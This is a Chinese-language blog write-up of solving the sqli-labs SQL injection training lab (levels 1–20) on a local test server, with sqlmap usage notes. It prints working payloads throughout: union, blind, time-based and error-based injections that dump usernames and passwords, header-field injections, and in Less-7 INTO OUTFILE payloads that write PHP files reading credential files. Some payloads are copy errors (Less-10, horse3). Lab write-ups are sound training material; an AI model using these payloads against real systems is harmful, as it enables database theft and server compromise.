SQL-Lab 过关

很久之前的SQL-Lab实验记录,权当凑数。

数据库结构

image-20201126185241263

information_schema

image-20201126185203312

security

image-20201126185303420

Less-1

检查是否存在注入点

一般直接加引号',也可以考虑宽字符闭合引号。
这里一试就报错发现有注入点。

image-20200714221315153

检查关键字过滤

一般来说会过滤一些关键字,诸如select、union、where等。
如果有过滤就要使用一些绕过手段,比如双写绕过、注释绕过等,本次课程还未涉及所以不讨论。
事实上还有关于注释符的过滤,绕过方法也有很多。(如果过滤规则不是很严的话)

判断回显

确定sql查询语句有多少回显位,一般使用order by 语句二分确定回显位。
这里可以确定有4个回显位。

image-20200714221822503

image-20200714221834365

查出相关参数

一般不急着查information_schema那几张表,先看看database() user()之类的函数结果。
这里先看到数据库名和用户名。

image-20200714222222788

查information_schema

先要明确information_schema里面有什么内容

image-20200714222415460

根据得到的数据库名查表和列

id=-1' union select 1,group_concat(schema_name),2 from information_schema.schemata where '1'='1
直接出所有数据库名
image-20200714223437960

拿到security下的所有表

image-20200714223722924

image-20200714223712801

继续查表

大概对users表感兴趣,那就看看users下面都有哪些字段,然后顺手读出来。
image-20200714224157880

image-20200714224319439

于是第一关完成

Less-2

1
http://192.168.218.133/sqli-labs/Less-2/?id=2111111%20union%20select%20user(),group_concat(password),group_concat(username)%20from%20users%20order%20by%203

image-20201126190149545

Less-3

闭合(',然后用–+注释之后的字符

1
http://192.168.218.133/sqli-labs/Less-3/?id=-111%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20users--+

image-20201126193130954

Less-4

闭合(",然后用–+注释之后的字符

1
http://192.168.218.133/sqli-labs/Less-4/?id=-9%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20users--+

image-20201126201348544

Less-5 布尔注入

首先要还是要确定注入类型,如字符型、数字型,然后构造条件。

这里用left函数取单个字符来确定整个字符串的取值,由二分可知database()的第一个字符为’s’。

先通过简单的测试得知这里有注入点,而且因为只有两种回显状态,所以应该是bool注入。

image-20201128094329018

image-20201128094347246

以上的1=21=1的语句是被执行了的,下面将其替换为其他语句猜解关键信息。

image-20201126204229902

image-20201126204246514

更详细一点儿,还可以通过length函数先确定一下database()的长度。

除了上述的带boolean回显的二分盲注,还可以通过使用sleep()的时间盲注,或者基于笛卡尔积的时间盲注。

image-20201128094740436

Less-6

类似于Less-5,只是换成了双引号

1
http://192.168.218.133/sqli-labs/Less-6/?id=-1%22%20or%20left(database(),1)=%27s%27--+

image-20201126205514505

Less-7

记得打开secure-file-priv=""

由提示,需要用到外部文件,先利用less-1搞清楚工作目录

image-20201126220832111

然后利用MySQL文件操作在目录下面写一个php一句话木马
目录指定为D:\phpStudy\sqli-labs\horse1.php
为了获取Less-7的源码,木马内容先写成

1
2
3
4
5
6
7
<?php
$f="D:\\phpStudy\\WWW\\sqli-labs\Less-7\index.php"; #也可能是index.html,这里是试出来的,且注意转义
$h=fopen($f,"r");
$c=fread($h,filesize($f));
echo $c;
fclose($h);
?>
1
2
<!-- payload -->
http://192.168.218.133/sqli-labs/Less-7/?id=--1%27))%20union%20select%20%22%20%22,%22%20%22,%27%3C?php%20$f=%22D:\\phpStudy\\WWW\\sqli-labs\\Less-7\\index.php%22;%20$h=fopen($f,%22r%22);%20$c=fread($h,filesize($f));%20echo%20$c;%20fclose($h);%20?%3E%27%20into%20outfile%20%22D:\\phpStudy\\WWW\\sqli-labs\\horse1.php%22%20--+

虽然页面上还是返回Error,但是实际上是写入成功的,接下来访问horse1.php
这里相当于用一个php 输出了另外一个html+php文件的内容,所以浏览器会自动解析,文件的具体内容在开发者工具里面查看

image-20201126222034823

可以看到Less-7 index.php的源代码,包括Sql语句的拼接方式,这里解释了为什么要闭合双括号.
同时,可以看到php包含了sql-connect.php来连接数据库,于是再用类似的方法查看sql-connect.php的源代码

向目录下写入木马horse2.php

1
2
3
4
5
6
7
<?php
$f="D:\\phpStudy\\WWW\\sqli-labs\\sql-connections\\sql-connect.php";
$h=fopen($f,"r");
$c=fread($h,filesize($f));
echo $c;
fclose($h);
?>
1
2
<!-- payload -->
http://192.168.218.133/sqli-labs/Less-7/?id=--1%27))%20union%20select%20%22%20%22,%22%20%22,%27%3C?php%20$f=%22D:\\phpStudy\\WWW\\sqli-labs\\sql-connections\\sql-connect.php%22;%20$h=fopen($f,%22r%22);%20$c=fread($h,filesize($f));%20echo%20$c;%20fclose($h);?%3E%27%20into%20outfile%20%22D:\\phpStudy\\WWW\\sqli-labs\\horse2.php%22%20--+

访问horse2.php

image-20201126222837646

发现sql-connect.php又包含了一个db-creds.inc配置文件来连接数据库,于是故技重施,去查看这个文件的源代码

向目录下写入木马horse3.php

1
2
3
4
5
6
7
<?php
$f="D:\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc";
$h=fopen($f,"r");
$c=fread($h,filesize($f));
echo $c;
fclose($h);
?>
1
2
<--! payload -->
http://192.168.218.139/sqli-labs/Less-7/?id=--1%27))%20union%20select%20%22%20%22,%22%20%22,%27%3C?php%20$f=%22D:\\phpStudy\\WWW\\sqli-labs\\sql-connections\\sql-connect.php%22;%20$h=fopen($f,%22r%22);%20$c=fread($h,filesize($f));%20echo%20$c;%20fclose($h);?%3E%27%20into%20outfile%20%22D:\\phpStudy\\WWW\\sqli-labs\\horse2.php%22%20--+

访问horse3.php,可以看到数据库的用户名和密码。

image-20201127103843514

进一步的,我们可以通过向目录下写入木马horse4.php去查询数据库中的所有信息,因为已经获取的用户名和密码,所以这个过程是容易实现的。更容易的实现方法是直接仿照index.php的代码,包含文件..\sql-connections\sql-connect.php即可获得数据库访问权限,然后写代码查询即可。

1
2
3
4
5
6
7
<?php
include("..\\sql-connections\\sql-connect.php");
$sql="select group_concat(username),group_concat(password) from users";
$res = mysql_query($sql);
$row = mysql_fetch_array($res);
echo json_encode($row);
?>
1
2
<--! payload-->
http://192.168.218.139/sqli-labs/Less-7/?id=--1%27))%20union%20select%20%22%20%22,%22%20%22,%27%3C?php%20include(%22..\\sql-connections\\sql-connect.php%22);%20$sql=%22select%20group_concat(username),group_concat(password)%20from%20users%22;%20$res%20=%20mysql_query($sql);%20$row%20=%20mysql_fetch_array($res);%20echo%20json_encode($row);%20?%3E%27%20into%20outfile%20%22D:\\phpStudy\\WWW\\sqli-labs\\Less-7\\horse4.php%22%20--+

image-20201127110111890

Less-8

闭合单引号,然后是bool盲注

image-20201127110313357

image-20201127110922998

Less-9

基于时间的bool盲注

1
http://192.168.218.139/sqli-labs/Less-9/?id=-1%27%20union%20select%201,(if(%20database()=%27security%27,%20sleep(2),2)),3--+

在if的条件语句里面写一些二分语句即可基于时间猜出数据库内容。

Less-10

类似于Less-9,只是换成了双引号。

1
http://192.168.218.139/sqli-labs/Less-9/?id=-1%27%20union%20select%201,(if(%20database()=%27security%27,%20sleep(2),2)),3--+

Less-11

基于报错的注入方法

POST payload

1
uname=1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users ),0x7e)))--+;&passwd=a&submit=Submit

image-20201127163052801

Less-12

类似于Less-11,只是需要闭合("

1
uname=1") and (extractvalue(1,concat(0x7e,(select group_concat(username) from users ),0x7e)))--+&passwd=dasdfasd&submit=Submit

image-20201127163743773

Less-13

为什么又是报错注入,只是换了闭合符号。

1
2
<--! POST payload -->
uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))-- + &passwd=admian&submit=Submit

image-20201127174352569

Less-14

同上,闭合双引号

image-20201127174606873

Less-15

二分盲注,闭合单引号,下图说明admin用户的密码的首字母为’a’。

image-20201127175332286

Less-16

闭合("的时间盲注

image-20201127181919126

Less-17

有意思的一个题,因为这里用到了两个参数。

通过审计源代码,可以看到这里的查询语句稍微有点儿安全意识,不仅对uname进行了严格的过滤,还考虑了先通过uname检查数据库中是否包含了对应用户的数据,然后再去修改用户。
但是为什么不对password也过滤一次呢?

image-20201127202028435

由提示,使用报错注入。
但是这里有一个问题,我们如何知道数据库中有哪些用户名呢?这关系到我们是否能够通过第一次SQL查询从而进入内部的if语句中。当然,可以考虑常见的用户名如admin、root、administration等等,但是如果恰好没有这些用户名呢?

image-20201127200552580

Less-18

审计源码,可以看到php还捕获了IP和uagent两个参数,其中uagent可以被控制且未被过滤。
根据关口名称提示,利用uagent完成报错注入

image-20201127204937987

image-20201127204824111

Less-19

同上,只是注入点换成了referer

image-20201127205230525

Less-20

审计源码,注意判断条件。

image-20201127213608048

image-20201127213523251

SQLmap

sqlmap基本上是一梭子的事儿,因为sqlmap足够强大,一般的注入点都能打下来,要是sqlmap都没办法,那么人力也很难了。
当然,这里可能会有参数处理(base64)使得sqlmap不能直接使用,那么就需要写代码配合sqlmap了。

抬手就开始

image-20200714233829160

然后就出了

image-20200714233955698

接下来就只需要按图索骥,从数据库名查表名、列名和字段值了。注意-T -D设定table和database来限定范围。

一下介绍一些扩展用法

sqlmap -r xxx.txt -p 自动测试抓到的包内的一个post参数

sqlmap -u 自动测试一个存在注入的url(一般后台比较好用,可以-p指定包中的某个post参数)

sqlmap -u -data 测试url中get的注入

sqlmap -u -data –dbs –level2 在level2中,会引入自动化的cookie注入

设置temper参数来选定测试的级别

Welcome to my other publishing channels